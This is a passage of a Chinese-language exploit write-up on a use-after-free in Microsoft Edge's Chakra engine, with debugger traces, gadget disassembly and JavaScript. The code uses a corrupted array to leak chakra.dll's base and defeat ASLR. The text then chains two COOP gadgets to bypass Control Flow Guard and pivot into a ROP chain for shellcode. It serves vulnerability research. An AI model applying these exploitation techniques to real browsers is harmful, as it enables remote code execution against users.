0e 0000003b`db4fd480 00007ffd`f5c7c781 user32!DispatchMessageWorker+0x1ac

0f 0000003b`db4fd500 00007ffd`f5c7ec41 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1

# Child-SP RetAddr Call Site

00 0000003b`dc09f578 00007ffd`f763ec85 KERNELBASE!VirtualFree

01 0000003b`dc09f580 00007ffd`f763d61d chakra!Memory::PageSegmentBase::DecommitFreePages+0xc5

02 0000003b`dc09f5c0 00007ffd`f769c05d chakra!Memory::PageAllocatorBase::DecommitNow+0x1c1

03 0000003b`dc09f610 00007ffd`f7640a09 chakra!Memory::IdleDecommitPageAllocator::IdleDecommit+0x89

04 0000003b`dc09f640 00007ffd`f76cfb68 chakra!Memory::Recycler::ThreadProc+0xd5

05 0000003b`dc09f6e0 00007ffe`1044b2ba chakra!Memory::Recycler::StaticThreadProc+0x18

06 0000003b`dc09f730 00007ffe`1044b38c msvcrt!beginthreadex+0x12a

07 0000003b`dc09f760 00007ffe`12ad8364 msvcrt!endthreadex+0xac

08 0000003b`dc09f790 00007ffe`12d85e91 KERNEL32!BaseThreadInitThunk+0x14

09 0000003b`dc09f7c0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

经过与WebGL相关的几次测试后,我发现能够稳定地触发WebGL相关的分配来回收释放的int数组留下的内存空隙的调用堆栈如下所示。奇怪的是,这个内存分配不是通过VirtualAlloc完成的,而是通过HeapAlloc,但是它位于为此目的留下的一个内存空隙上。

[...]

Trying to alloc 0x1e84c0 bytes

ntdll!RtlAllocateHeap:

00007ffd`99637370 817910eeddeedd cmp dword ptr [rcx+10h],0DDEEDDEEh ds:000001f8`ae0c0010=ddeeddee

0:010> gu

d3d10warp!UMResource::Init+0x481:

00007ffd`92937601 488bc8 mov rcx,rax

0:010> r

rax=00000200c2cc0000 rbx=00000201c2d5d700 rcx=098674b229090000

rdx=00000000001e84c0 rsi=00000000001e8480 rdi=00000200b05e9390

rip=00007ffd92937601 rsp=00000065724f94f0 rbp=0000000000000000

r8=00000200c2cc0000 r9=00000201c3b02080 r10=000001f8ae0c0038

r11=00000065724f9200 r12=0000000000000000 r13=00000200b0518968

r14=0000000000000000 r15=0000000000000001

0:010> k 20

# Child-SP RetAddr Call Site

00 00000065`724f94f0 00007ffd`929352d9 d3d10warp!UMResource::Init+0x481

01 00000065`724f9560 00007ffd`92ea1ce1 d3d10warp!UMDevice::CreateResource+0x1c9

02 00000065`724f9600 00007ffd`92e7732c d3d11!CResource::CLS::FinalConstruct+0x2a1

03 00000065`724f9970 00007ffd`92e7055a d3d11!CDevice::CreateLayeredChild+0x312c

04 00000065`724fb1a0 00007ffd`92e97913 d3d11!NDXGI::CDeviceChild::FinalConstruct+0x5a

05 00000065`724fb240 00007ffd`92e999e8 d3d11!NDXGI::CResource::FinalConstruct+0x3b

06 00000065`724fb290 00007ffd`92ea35bc d3d11!NDXGI::CDevice::CreateLayeredChild+0x1c8

07 00000065`724fb410 00007ffd`92e83602 d3d11!NOutermost::CDevice::CreateLayeredChild+0x25c

08 00000065`724fb600 00007ffd`92e7e94f d3d11!CDevice::CreateTexture2D_Worker+0x412

09 00000065`724fba20 00007ffd`7fad98db d3d11!CDevice::CreateTexture2D+0xbf

0a 00000065`724fbac0 00007ffd`7fb17c66 edgehtml!CDXHelper::CreateWebGLColorTexturesFromDesc+0x6f

0b 00000065`724fbb50 00007ffd`7fb18593 edgehtml!CDXRenderBuffer::InitializeAsColorBuffer+0xe6

0c 00000065`724fbc10 00007ffd`7fb198aa edgehtml!CDXRenderBuffer::SetStorageAndSize+0x73

0d 00000065`724fbc40 00007ffd`7fae6e0b edgehtml!CDXFrameBuffer::Initialize+0xc2

0e 00000065`724fbcb0 00007ffd`7faecff0 edgehtml!RefCounted::Create2+0xa3

0f 00000065`724fbd00 00007ffd`7faece6b edgehtml!CDXRenderTarget3D::InitializeDefaultFrameBuffer+0x60

10 00000065`724fbd50 00007ffd`7faecc87 edgehtml!CDXRenderTarget3D::InitializeContextState+0x11b

11 00000065`724fbdb0 00007ffd`7fad015b edgehtml!CDXRenderTarget3D::Initialize+0x137

12 00000065`724fbde0 00007ffd`7fad48ca edgehtml!RefCounted::Create2+0x7f

13 00000065`724fbe30 00007ffd`7fcda10f edgehtml!CDXSystem::CreateRenderTarget3D+0x10a

14 00000065`724fbeb0 00007ffd`7f1feca0 edgehtml!CWebGLRenderingContext::EnsureTarget+0x8f

15 00000065`724fbf10 00007ffd`7fc9373c edgehtml!CCanvasContextBase::EnsureBitmapRenderTarget+0x80

16 00000065`724fbf60 00007ffd`7f74f3fd edgehtml!CHTMLCanvasElement::EnsureWebGLContext+0xb8

17 00000065`724fbfa0 00007ffd`7f27af74 edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0xba6fd

18 00000065`724fc000 00007ffd`7f675945 edgehtml!CFastDOM::CHTMLCanvasElement::Trampoline_getContext+0x5c

19 00000065`724fc050 00007ffd`7eb3c35b edgehtml!CFastDOM::CHTMLCanvasElement::Profiler_getContext+0x25

1a 00000065`724fc080 00007ffd`7ebc1393 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b

1b 00000065`724fc160 00007ffd`7ea8d873 chakra!amd64_CallFunction+0x93

1c 00000065`724fc1b0 00007ffd`7ea90419 chakra!Js::JavascriptFunction::CallFunction+0x83

1d 00000065`724fc210 00007ffd`7ea94f4d chakra!Js::InterpreterStackFrame::OP_CallI > > >+0x99

1e 00000065`724fc260 00007ffd`7ea94b07 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d

1f 00000065`724fc2f0 00007ffd`7ea936c9 chakra!Js::InterpreterStackFrame::Process+0x1a7

调用堆栈中的edgehtml!CFastDOM :: CHTMLCanvasElement :: Trampoline_getContext的存在揭示了这个代码路径是由我的WebGL初始化代码中的JavaScript行触发的:

canvas.getContext("experimental-webgl");

在d3d10warp!UMResource :: Init这个堆分配之后的几个指令,分配的缓冲区的地址存储在缓冲区+ 0x38处,这正是我们梦寐以求的那种自我引用:

d3d10warp!UMResource::Init+0x479:

00007ffd`929375f9 33d2 xor edx,edx

00007ffd`929375fb ff159f691e00 call qword ptr [d3d10warp!_imp_HeapAlloc (00007ffd`92b1dfa0)] //Allocates 0x1e84c0 bytes

00007ffd`92937601 488bc8 mov rcx,rax

00007ffd`92937604 4885c0 test rax,rax

00007ffd`92937607 0f8400810600 je d3d10warp!ShaderConv::CInstr::Token::Token+0x2da6d (00007ffd`9299f70d)

00007ffd`9293760d 4883c040 add rax,40h

00007ffd`92937611 4883e0c0 and rax,0FFFFFFFFFFFFFFC0h

00007ffd`92937615 488948f8 mov qword ptr [rax-8],rcx // address of buffer is stored at buffer+0x38

0:010> dqs @rcx

00000189`0f720000 00000000`00000000

00000189`0f720008 00000000`00000000

00000189`0f720010 00000000`00000000

00000189`0f720018 00000000`00000000

00000189`0f720020 00000000`00000000

00000189`0f720028 00000000`00000000

00000189`0f720030 00000000`00000000

00000189`0f720038 00000189`0f720000 //self-reference pointer

00000189`0f720040 00000000`00000000

00000189`0f720048 00000000`00000000

00000189`0f720050 00000000`00000000

00000189`0f720058 00000000`00000000

00000189`0f720060 00000000`00000000

00000189`0f720068 00000000`00000000

00000189`0f720070 00000000`00000000

00000189`0f720078 00000000`00000000

所以在WebGL初始化代码完成之后,我们需要使用R / W原语来遍历WebGL缓冲区(它们与我们的破坏的int数组相邻),寻找偏移量为0x38的自引用指针。一旦我们找到自引用指针,就可以很容易地计算出我们破坏的int数组的基址; 反过来,这意味着现在我们可以根据绝对地址进行读操作(但是请记住,我们仍然操作一个主要的限制,那就是只能读取/写入大于被破坏的int数组的基址的地址):

function after_webgl(corrupted_index){

for (var i = 11; i > 1; i -= 1){

base_index = 0x4000 * i;

arr[corrupted_index][base_index + 0x20] = 0x21212121; //write at least to offset N if you want to read from offset N

//read the qword at webgl_block + 0x38

var self_ref = ud(arr[corrupted_index][base_index + 1]) * (2**32) + ud(arr[corrupted_index][base_index]);

//If it looks like the pointer we are looking for...

if (((self_ref & 0xffff) == 0) && (self_ref > 0xffffffff)){

var array_addr = self_ref - i * 0x10000;

//Limitation of the R/W primitive: target address must be > array address

if (ptr_to_object > array_addr){

//Calculate the proper index to target the address of the object

var offset = (ptr_to_object - (array_addr + 0x38)) / 4;

//Write at least to offset N if you want to read from offset N

arr[corrupted_index][offset + 0x20] = 0x21212121;

//Read the address of the vtable!

var vtable_ptr = ud(arr[corrupted_index][offset + 1]) * (2**32) + ud(arr[corrupted_index][offset]);

//Calculate the base address of chakra.dll

var chakra_baseaddr = vtable_ptr - 0x005864d0;

[...]

所以,如果我们足够幸运的话,泄漏的对象的地址会大于我们的损坏的int数组的地址(如果在第一次尝试中没有这么幸运的话,则需要更多的工作),我们可以简单的计算指定目标对象的索引(完成读取OOB所需),所以我们获取指向vtable的指针,然后我们可以计算chakra.dll的基地址。这样我们就挫败了ASLR,所以可以继续进入开发过程中的下一步。

伪面向对象编程

现在我们已经可以读写我们泄露的对象了,下面要设法绕过Control Flow Guard,以便可以将执行流重定向到我们的ROP链。为了绕过CFG,我使用了一种被称为伪面向对象编程(COOP)[11]或面向对象的漏洞利用技术[12]。

确切地说,我在后文中遵循了Sam Thomas [13]所描述的方法。这种技术基于链接两个函数,两个都是有效的CFG目标,提供两个原语:

第一个函数(一个COOP部件)将局部变量(位于堆栈中)的地址作为另一个函数的参数传递,该函数通过间接调用进行调用。

第二个函数期望其中一个参数是指向结构的指针,并写入该预期结构的成员。

给定第二个COOP部件写入预期结构中的正确偏移量(等于第一个函数的返回地址存储在堆栈中的地址减去作为第一个函数的参数传递的局部变量的地址),可以使第二个函数覆盖堆栈中第一个函数的返回地址。这样,当执行第一个COOP部件的RET指令时,我们可以将执行流转移到ROP链,同时避开CFG,因为这种缓解尝试无法保护返回地址。

为了找到满足上述条件的两个函数,我写了一个IDApython脚本,它基于Quarkslab的Triton [14] DBA框架,这是由我的同事Jonathan Salwan、Pierrick Brunet和Romain Thomas开发的一个令人敬仰的引导引擎。

运行我的工具并检查其输出后,我选择了chakra!Js :: DynamicObjectEnumerator :: MoveNext函数作为第一个COOP部件,通过间接调用来调用另一个函数,传递一个局部变量作为第二个参数(RDX寄存器)。存储堆栈中返回地址的地址与本地变量之间的距离为0x18字节:

.text:0000000180089D40 public: virtual int Js::DynamicObjectEnumerator::MoveNext(unsigned char *) proc near

.text:0000000180089D40 mov r11, rsp

.text:0000000180089D43 mov [r11+10h], rdx

.text:0000000180089D47 mov [r11+8], rcx

.text:0000000180089D4B sub rsp, 38h

.text:0000000180089D4F mov rax, [rcx]

.text:0000000180089D52 mov r8, rdx

.text:0000000180089D55 lea rdx, [r11-18h] //second argument is the address of a local variable

.text:0000000180089D59 mov rax, [rax+2E8h]

.text:0000000180089D60 call cs:__guard_dispatch_icall_fptr //call second COOP gadget

.text:0000000180089D66 xor ecx, ecx

.text:0000000180089D68 test rax, rax

.text:0000000180089D6B setnz cl

.text:0000000180089D6E mov eax, ecx

.text:0000000180089D70 add rsp, 38h

.text:0000000180089D74 retn

.text:0000000180089D74 public: virtual int Js::DynamicObjectEnumerator::MoveNext(unsigned char *) endp

我们制作一个假的虚拟桌面,使间接调用引用第二个COOP部件;对于第二个函数,我选择了edgehtml!CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry。第二个函数将EAX寄存器的内容写入第二个参数指向的结构的偏移量0x18处,这样就可以覆盖第一个函数的返回地址了:

.text:000000018056BF90 ; void __fastcall CRTCMediaStreamTrackStats::WriteSnapshotForTelemetry(CRTCMediaStreamTrackStats *__hidden this, struct TelemetryStats::BaseTelemetryStats *)

.text:000000018056BF90 mov eax, [rcx+30h]

.text:000000018056BF93 mov [rdx+4], eax

.text:000000018056BF96 mov eax, [rcx+34h]

.text:000000018056BF99 mov [rdx+8], eax

.text:000000018056BF9C mov rax, [rcx+38h]

.text:000000018056BFA0 mov [rdx+10h], rax

.text:000000018056BFA4 mov eax, [rcx+40h]

.text:000000018056BFA7 mov [rdx+18h], eax //writes to offset 0x18 of the structure pointed by the 2nd argument == overwrites return address

.text:000000018056BFAA mov eax, [rcx+44h]

.text:000000018056BFAD mov [rdx+1Ch], eax

.text:000000018056BFB0 mov eax, [rcx+4Ch]

.text:000000018056BFB3 mov [rdx+20h], eax

.text:000000018056BFB6 mov eax, [rcx+50h]

.text:000000018056BFB9 mov [rdx+24h], eax

.text:000000018056BFBC retn

.text:000000018056BFBC ?WriteSnapshotForTelemetry@CRTCMediaStreamTrackStats@@MEBAXPEAUBaseTelemetryStats@TelemetryStats@@@Z endp

在反汇编CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry函数的代码中可以看出,用于覆盖返回地址的qword来自RCX + 0x40 / RCX + 0x44,这意味着它是具有假的vtable的对象的成员,因此它可以被攻击者完全控制。

当退出第一个COOP函数时,会覆盖返回地址,所以,我们就绕过了Control Flow Guard。我们使用堆栈旋转部件的地址作为覆盖返回地址的值; 这样,我们只需启动一个传统的ROP链,它将调用EShims!NS_ACGLockdownTelemetry :: APIHook_VirtualProtect,为我们的shellcode提供可执行权限,从而远程执行代码。

小结

ArrayBuffer对象一直是不同网络浏览器的各种UAF漏洞的源泉,Edge中的Chakra引擎也不例外。事实上,ArrayBuffer构造函数可以使用两个不同的分配器(malloc或VirtualAlloc),加上我们可以根据要创建的ArrayBuffer的长度来控制使用哪一个的事实,从而在尝试利用漏洞方面提供了便利。如果我们唯一的选择是将底层缓冲区分配给CRT堆,漏洞的利用可能会更难一些。

为了将相对R / W原语转换为绝对R / W,获得损坏的整数数组的基址是难点。为此,我们需要弄清楚如何滥用Quicksort来进行精确的元素交换。

最后,这篇博文的最后一部分展示了伪面向对象编程(COOP)的实际应用,我们通过利用两个有效的C ++虚拟函数设法绕过了Control Flow Guard:chakra!Js :: DynamicObjectEnumerator :: MoveNext和edgehtml!CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry。它们可以进行链接以覆盖前者的返回地址,从而绕过CFG。

相关文章
最新文章
热点推荐